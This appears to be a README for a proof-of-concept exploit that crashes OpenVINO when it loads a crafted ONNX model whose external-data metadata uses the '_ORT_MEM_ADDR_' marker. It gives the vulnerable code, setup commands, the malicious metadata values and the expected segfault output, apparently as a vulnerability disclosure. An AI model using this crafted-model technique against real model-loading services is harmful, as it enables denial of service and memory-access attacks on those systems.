YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
OpenVINO ONNX _ORT_MEM_ADDR_ model-load crash PoC
This PoC creates a minimal ONNX model whose initializer uses ONNX external
data metadata with OpenVINO's special */_ORT_MEM_ADDR_/* location marker.
OpenVINO treats the external-data offset value as a process memory address:
char* addr_ptr = reinterpret_cast<char*>(m_offset);
std::memcpy(aligned_memory->get_ptr<char>(), addr_ptr, m_data_length);
When this metadata is present in a disk-loaded ONNX model, Core().read_model()
dereferences the attacker-controlled address during model loading.
Tested environment
OpenVINO Python package: 2026.2.1-21919-ede283a88e3-releases/2026/2
OpenVINO source HEAD inspected: f7a1b8249a9f803c7bda4b9fb05e9bdbf00f919c
ONNX: 1.22.0
Python: 3.12
OS: Linux / WSL
Run
python3 -m venv venv
./venv/bin/pip install openvino onnx numpy
./venv/bin/python make_and_load_ort_mem_addr.py
Expected output
The script runs the vulnerable model load in a subprocess. A return code of
-11 means the subprocess crashed with SIGSEGV.
wrote ./ort_mem_addr_crash.onnx
returncode: -11
stdout:
about to read model
stderr:
Generated malicious model metadata
location = */_ORT_MEM_ADDR_/*
offset = 1
length = 4
The offset=1 value is intentionally invalid. OpenVINO interprets it as the
source pointer for memcpy, causing a process crash during Core().read_model().